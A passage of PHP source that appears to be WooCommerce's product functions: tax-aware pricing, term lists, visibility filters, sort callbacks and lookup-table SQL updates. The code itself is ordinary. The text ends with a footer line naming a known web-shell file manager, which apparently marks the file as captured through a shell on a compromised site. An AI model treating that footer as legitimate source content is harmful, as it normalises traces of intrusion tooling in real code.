		'cart' === $args['display_context'] ? 'woocommerce_tax_display_cart' : 'woocommerce_tax_display_shop'
	);

	return 'incl' === $tax_display ?
		wc_get_price_including_tax(
			$product,
			array(
				'qty'   => $qty,
				'price' => $price,
			)
		) :
		wc_get_price_excluding_tax(
			$product,
			array(
				'qty'   => $qty,
				'price' => $price,
			)
		);
}

/**
 * Returns the product categories in a list.
 *
 * @param int    $product_id Product ID.
 * @param string $sep (default: ', ').
 * @param string $before (default: '').
 * @param string $after (default: '').
 * @return string
 */
function wc_get_product_category_list( $product_id, $sep = ', ', $before = '', $after = '' ) {
	return get_the_term_list( $product_id, 'product_cat', $before, $sep, $after );
}

/**
 * Returns the product tags in a list.
 *
 * @param int    $product_id Product ID.
 * @param string $sep (default: ', ').
 * @param string $before (default: '').
 * @param string $after (default: '').
 * @return string
 */
function wc_get_product_tag_list( $product_id, $sep = ', ', $before = '', $after = '' ) {
	return get_the_term_list( $product_id, 'product_tag', $before, $sep, $after );
}

/**
 * Callback for array filter to get visible only.
 *
 * @since  3.0.0
 * @param  WC_Product $product WC_Product object.
 * @return bool
 */
function wc_products_array_filter_visible( $product ) {
	return $product && is_a( $product, 'WC_Product' ) && $product->is_visible();
}

/**
 * Callback for array filter to get visible grouped products only.
 *
 * @since  3.1.0
 * @param  WC_Product $product WC_Product object.
 * @return bool
 */
function wc_products_array_filter_visible_grouped( $product ) {
	return $product && is_a( $product, 'WC_Product' ) && ( 'publish' === $product->get_status() || current_user_can( 'edit_product', $product->get_id() ) );
}

/**
 * Callback for array filter to get products the user can edit only.
 *
 * @since  3.0.0
 * @param  WC_Product $product WC_Product object.
 * @return bool
 */
function wc_products_array_filter_editable( $product ) {
	return $product && is_a( $product, 'WC_Product' ) && current_user_can( 'edit_product', $product->get_id() );
}

/**
 * Callback for array filter to get products the user can view only.
 *
 * @since  3.4.0
 * @param  WC_Product $product WC_Product object.
 * @return bool
 */
function wc_products_array_filter_readable( $product ) {
	return $product && is_a( $product, 'WC_Product' ) && current_user_can( 'read_product', $product->get_id() );
}

/**
 * Sort an array of products by a value.
 *
 * @since  3.0.0
 *
 * @param array  $products List of products to be ordered.
 * @param string $orderby Optional order criteria.
 * @param string $order Ascending or descending order.
 *
 * @return array
 */
function wc_products_array_orderby( $products, $orderby = 'date', $order = 'desc' ) {
	$orderby = strtolower( $orderby );
	$order   = strtolower( $order );
	switch ( $orderby ) {
		case 'title':
		case 'id':
		case 'date':
		case 'modified':
		case 'menu_order':
		case 'price':
			usort( $products, 'wc_products_array_orderby_' . $orderby );
			break;
		case 'none':
			break;
		default:
			shuffle( $products );
			break;
	}
	if ( 'desc' === $order ) {
		$products = array_reverse( $products );
	}
	return $products;
}

/**
 * Sort by title.
 *
 * @since  3.0.0
 * @param  WC_Product $a First WC_Product object.
 * @param  WC_Product $b Second WC_Product object.
 * @return int
 */
function wc_products_array_orderby_title( $a, $b ) {
	return strcasecmp( $a->get_name(), $b->get_name() );
}

/**
 * Sort by id.
 *
 * @since  3.0.0
 * @param  WC_Product $a First WC_Product object.
 * @param  WC_Product $b Second WC_Product object.
 * @return int
 */
function wc_products_array_orderby_id( $a, $b ) {
	if ( $a->get_id() === $b->get_id() ) {
		return 0;
	}
	return ( $a->get_id() < $b->get_id() ) ? -1 : 1;
}

/**
 * Sort by date.
 *
 * @since  3.0.0
 * @param  WC_Product $a First WC_Product object.
 * @param  WC_Product $b Second WC_Product object.
 * @return int
 */
function wc_products_array_orderby_date( $a, $b ) {
	if ( $a->get_date_created() === $b->get_date_created() ) {
		return 0;
	}
	return ( $a->get_date_created() < $b->get_date_created() ) ? -1 : 1;
}

/**
 * Sort by modified.
 *
 * @since  3.0.0
 * @param  WC_Product $a First WC_Product object.
 * @param  WC_Product $b Second WC_Product object.
 * @return int
 */
function wc_products_array_orderby_modified( $a, $b ) {
	if ( $a->get_date_modified() === $b->get_date_modified() ) {
		return 0;
	}
	return ( $a->get_date_modified() < $b->get_date_modified() ) ? -1 : 1;
}

/**
 * Sort by menu order.
 *
 * @since  3.0.0
 * @param  WC_Product $a First WC_Product object.
 * @param  WC_Product $b Second WC_Product object.
 * @return int
 */
function wc_products_array_orderby_menu_order( $a, $b ) {
	if ( $a->get_menu_order() === $b->get_menu_order() ) {
		return 0;
	}
	return ( $a->get_menu_order() < $b->get_menu_order() ) ? -1 : 1;
}

/**
 * Sort by price low to high.
 *
 * @since  3.0.0
 * @param  WC_Product $a First WC_Product object.
 * @param  WC_Product $b Second WC_Product object.
 * @return int
 */
function wc_products_array_orderby_price( $a, $b ) {
	if ( $a->get_price() === $b->get_price() ) {
		return 0;
	}
	return ( $a->get_price() < $b->get_price() ) ? -1 : 1;
}

/**
 * Queue a product for syncing at the end of the request.
 *
 * @param int $product_id Product ID.
 */
function wc_deferred_product_sync( $product_id ) {
	global $wc_deferred_product_sync;

	if ( empty( $wc_deferred_product_sync ) ) {
		$wc_deferred_product_sync = array();
	}

	$wc_deferred_product_sync[] = $product_id;
}

/**
 * See if the lookup table is being generated already.
 *
 * @since 3.6.0
 * @return bool
 */
function wc_update_product_lookup_tables_is_running() {
	$table_updates_pending = WC()->queue()->search(
		array(
			'status'   => 'pending',
			'group'    => 'wc_update_product_lookup_tables',
			'per_page' => 1,
		)
	);

	return (bool) count( $table_updates_pending );
}

/**
 * Populate lookup table data for products.
 *
 * @since 3.6.0
 */
function wc_update_product_lookup_tables() {
	global $wpdb;

	$is_cli = Constants::is_true( 'WP_CLI' );

	if ( ! $is_cli ) {
		WC_Admin_Notices::add_notice( 'regenerating_lookup_table' );
	}

	// Note that the table is not yet generated.
	update_option( 'woocommerce_product_lookup_table_is_generating', true );

	// Make a row per product in lookup table.
	$wpdb->query(
		"
		INSERT IGNORE INTO {$wpdb->wc_product_meta_lookup} (`product_id`)
		SELECT
			posts.ID
		FROM {$wpdb->posts} posts
		WHERE
			posts.post_type IN ('product', 'product_variation')
		"
	);

	// List of column names in the lookup table we need to populate.
	$columns = array(
		'min_max_price',
		'stock_quantity',
		'sku',
		'global_unique_id',
		'stock_status',
		'average_rating',
		'total_sales',
		'downloadable',
		'virtual',
		'onsale',
		'tax_class',
		'tax_status', // When last column is updated, woocommerce_product_lookup_table_is_generating is updated.
	);

	foreach ( $columns as $index => $column ) {
		if ( $is_cli ) {
			wc_update_product_lookup_tables_column( $column );
		} else {
			WC()->queue()->schedule_single(
				time() + $index,
				'wc_update_product_lookup_tables_column',
				array(
					'column' => $column,
				),
				'wc_update_product_lookup_tables'
			);
		}
	}

	// Rating counts are serialised so they have to be unserialised before populating the lookup table.
	if ( $is_cli ) {
		$rating_count_rows = $wpdb->get_results(
			"
			SELECT post_id, meta_value FROM {$wpdb->postmeta}
			WHERE meta_key = '_wc_rating_count'
			AND meta_value != ''
			AND meta_value != 'a:0:{}'
			",
			ARRAY_A
		);
		wc_update_product_lookup_tables_rating_count( $rating_count_rows );
	} else {
		WC()->queue()->schedule_single(
			time() + 10,
			'wc_update_product_lookup_tables_rating_count_batch',
			array(
				'offset' => 0,
				'limit'  => 50,
			),
			'wc_update_product_lookup_tables'
		);
	}
}

/**
 * Populate lookup table column data.
 *
 * @since 3.6.0
 * @param string $column Column name to set.
 */
function wc_update_product_lookup_tables_column( $column ) {
	if ( empty( $column ) ) {
		return;
	}
	global $wpdb;
	switch ( $column ) {
		case 'min_max_price':
			$wpdb->query(
				"
				UPDATE
					{$wpdb->wc_product_meta_lookup} lookup_table
					INNER JOIN (
						SELECT lookup_table.product_id, MIN( meta_value+0 ) as min_price, MAX( meta_value+0 ) as max_price
						FROM {$wpdb->wc_product_meta_lookup} lookup_table
						LEFT JOIN {$wpdb->postmeta} meta1 ON lookup_table.product_id = meta1.post_id AND meta1.meta_key = '_price'
						WHERE
							meta1.meta_value <> ''
						GROUP BY lookup_table.product_id
					) as source on source.product_id = lookup_table.product_id
				SET
					lookup_table.min_price = source.min_price,
					lookup_table.max_price = source.max_price
				"
			);
			break;
		case 'stock_quantity':
			$wpdb->query(
				"
				UPDATE
					{$wpdb->wc_product_meta_lookup} lookup_table
					LEFT JOIN {$wpdb->postmeta} meta1 ON lookup_table.product_id = meta1.post_id AND meta1.meta_key = '_manage_stock'
					LEFT JOIN {$wpdb->postmeta} meta2 ON lookup_table.product_id = meta2.post_id AND meta2.meta_key = '_stock'
				SET
					lookup_table.stock_quantity = meta2.meta_value
				WHERE
					meta1.meta_value = 'yes'
				"
			);
			break;
		case 'sku':
		case 'global_unique_id':
		case 'stock_status':
		case 'average_rating':
		case 'total_sales':
		case 'tax_class':
		case 'tax_status':
			if ( 'total_sales' === $column ) {
				$meta_key = 'total_sales';
			} elseif ( 'average_rating' === $column ) {
				$meta_key = '_wc_average_rating';
			} else {
				$meta_key = '_' . $column;
			}
			$column = esc_sql( $column );
			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			$wpdb->query(
				$wpdb->prepare(
					"
					UPDATE
						{$wpdb->wc_product_meta_lookup} lookup_table
						LEFT JOIN {$wpdb->postmeta} meta ON lookup_table.product_id = meta.post_id AND meta.meta_key = %s
					SET
						lookup_table.`{$column}` = meta.meta_value
					",
					$meta_key
				)
			);
			// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			break;
		case 'downloadable':
		case 'virtual':
			$column   = esc_sql( $column );
			$meta_key = '_' . $column;
			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			$wpdb->query(
				$wpdb->prepare(
					"
					UPDATE
						{$wpdb->wc_product_meta_lookup} lookup_table
						LEFT JOIN {$wpdb->postmeta} meta1 ON lookup_table.product_id = meta1.post_id AND meta1.meta_key = %s
					SET
						lookup_table.`{$column}` = IF ( meta1.meta_value = 'yes', 1, 0 )
					",
					$meta_key
				)
			);
			// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			break;
		case 'onsale':
			$column   = esc_sql( $column );
			$decimals = absint( wc_get_price_decimals() );

			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			$wpdb->query(
				$wpdb->prepare(
					"
					UPDATE
						{$wpdb->wc_product_meta_lookup} lookup_table
						LEFT JOIN {$wpdb->postmeta} meta1 ON lookup_table.product_id = meta1.post_id AND meta1.meta_key = '_price'
						LEFT JOIN {$wpdb->postmeta} meta2 ON lookup_table.product_id = meta2.post_id AND meta2.meta_key = '_sale_price'
	  					LEFT JOIN {$wpdb->postmeta} meta3 ON lookup_table.product_id = meta3.post_id AND meta3.meta_key = '_regular_price'
					SET
						lookup_table.`{$column}` = IF (
							CAST( meta1.meta_value AS DECIMAL ) >= 0
							AND CAST( meta2.meta_value AS CHAR ) != ''
							AND CAST( meta1.meta_value AS DECIMAL( 10, %d ) ) = CAST( meta2.meta_value AS DECIMAL( 10, %d ) )
							AND CAST( meta3.meta_value AS DECIMAL( 10, %d ) ) > CAST( meta2.meta_value AS DECIMAL( 10, %d ) )
						, 1, 0 )
					",
					$decimals,
					$decimals,
					$decimals,
					$decimals
				)
			);
			// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			break;
	}

	// Final column - mark complete.
	if ( 'tax_status' === $column ) {
		delete_option( 'woocommerce_product_lookup_table_is_generating' );
	}
}
add_action( 'wc_update_product_lookup_tables_column', 'wc_update_product_lookup_tables_column' );

/**
 * Populate rating count lookup table data for products.
 *
 * @since 3.6.0
 * @param array $rows Rows of rating counts to update in lookup table.
 */
function wc_update_product_lookup_tables_rating_count( $rows ) {
	if ( ! $rows || ! is_array( $rows ) ) {
		return;
	}
	global $wpdb;

	foreach ( $rows as $row ) {
		$count = array_sum( (array) maybe_unserialize( $row['meta_value'] ) );
		$wpdb->update(
			$wpdb->wc_product_meta_lookup,
			array(
				'rating_count' => absint( $count ),
			),
			array(
				'product_id' => absint( $row['post_id'] ),
			)
		);
	}
}

/**
 * Populate a batch of rating count lookup table data for products.
 *
 * @since 3.6.2
 * @param array $offset Offset to query.
 * @param array $limit  Limit to query.
 */
function wc_update_product_lookup_tables_rating_count_batch( $offset = 0, $limit = 0 ) {
	global $wpdb;

	if ( ! $limit ) {
		return;
	}

	$rating_count_rows = $wpdb->get_results(
		$wpdb->prepare(
			"
			SELECT post_id, meta_value FROM {$wpdb->postmeta}
			WHERE meta_key = '_wc_rating_count'
			AND meta_value != ''
			AND meta_value != 'a:0:{}'
			ORDER BY post_id ASC
			LIMIT %d, %d
			",
			$offset,
			$limit
		),
		ARRAY_A
	);

	if ( $rating_count_rows ) {
		wc_update_product_lookup_tables_rating_count( $rating_count_rows );
		WC()->queue()->schedule_single(
			time() + 1,
			'wc_update_product_lookup_tables_rating_count_batch',
			array(
				'offset' => $offset + $limit,
				'limit'  => $limit,
			),
			'wc_update_product_lookup_tables'
		);
	}
}
add_action( 'wc_update_product_lookup_tables_rating_count_batch', 'wc_update_product_lookup_tables_rating_count_batch', 10, 2 );

/**
 * Attach product featured image. Use image filename to match a product sku when product is not provided.
 *
 * @since 8.5.0
 * @param int        $attachment_id Media attachment ID.
 * @param WC_Product $product Optional product object.
 * @param bool       $save_product If true, the changes in the product will be saved before the method returns.
 * @return void
 */
function wc_product_attach_featured_image( $attachment_id, $product = null, $save_product = true ) {
	$attachment_post = get_post( $attachment_id );
	if ( ! $attachment_post ) {
		return;
	}

	if ( null === $product && wc_get_container()->get( MatchImageBySKU::class )->is_enabled() ) {
		// On upload the attachment post title is the uploaded file's filename.
		$file_name = pathinfo( $attachment_post->post_title, PATHINFO_FILENAME );
		if ( ! $file_name ) {
			return;
		}

		$product_id = wc_get_product_id_by_sku( $file_name );
		$product    = wc_get_product( $product_id );
	}

	if ( ! $product ) {
		return;
	}

	$product->set_image_id( $attachment_id );
	if ( $save_product ) {
		$product->save();
	}
	if ( 0 === $attachment_post->post_parent ) {
		wp_update_post(
			array(
				'ID'          => $attachment_id,
				'post_parent' => $product->get_id(),
			)
		);
	}
}
add_action( 'add_attachment', 'wc_product_attach_featured_image' );

Youez - 2016 - github.com/yon3zu
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